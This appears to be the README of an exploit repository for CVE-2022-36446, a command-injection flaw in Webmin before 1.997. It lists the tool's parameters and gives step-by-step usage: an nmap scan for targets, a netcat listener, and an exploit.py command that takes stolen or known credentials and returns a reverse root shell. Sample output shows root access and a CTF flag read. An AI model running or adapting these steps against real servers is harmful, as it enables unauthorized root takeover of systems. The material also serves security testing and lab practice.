darnabin/cve-2022-36446-webmin-rceAuthenticated remote code execution exploit for Webmin < 1.997 via the Software Package Updates module. Injects arbitrary commands as root through an unsanitized parameter, delivering a reverse shell.
Exploit for the Remote Code Execution vulnerability in Webmin versions prior to 1.997, through the Software Package Updates module.
The Webmin Software Package Updates module does not properly sanitize the u parameter before passing it to the system. An authenticated user with access to that module can inject arbitrary commands that are executed as root.
Install the dependencies before running the exploit:
pip3 install requests beautifulsoup4 lxml urllib3
| Parameter | Description | Example |
|---|
-t | Target URL (without port) | https://192.168.1.10 |
-u | Webmin user | admin |
-p | Webmin password | password123 |
-l | Your IP (where you receive the shell) | 192.168.1.5 |
-lp | Listening port | 4444 |
1 — Identify the target IP with Nmap:
nmap -sV TARGET_IP
# Look for port 10000 with Webmin
2 — Open the listener on your machine:
nc -lvnp 4444
3 — In another terminal, run the exploit:
python3 exploit.py \
-t https://TARGET_IP \
-u admin \
-p PASSWORD \
-l YOUR_IP \
-lp 4444
4 — If the exploit is successful you will see:
5 — In the listener you will receive a shell as root:
# whoami
root
# cat /root/Desktop/FLAG.txt
FLAG{...}
# Terminal 1
nc -lvnp 4444
# Terminal 2
python3 exploit.py -t https://192.168.253.156 -u admin -p 'W3bm1n2024' -l 192.168.253.130 -lp 4444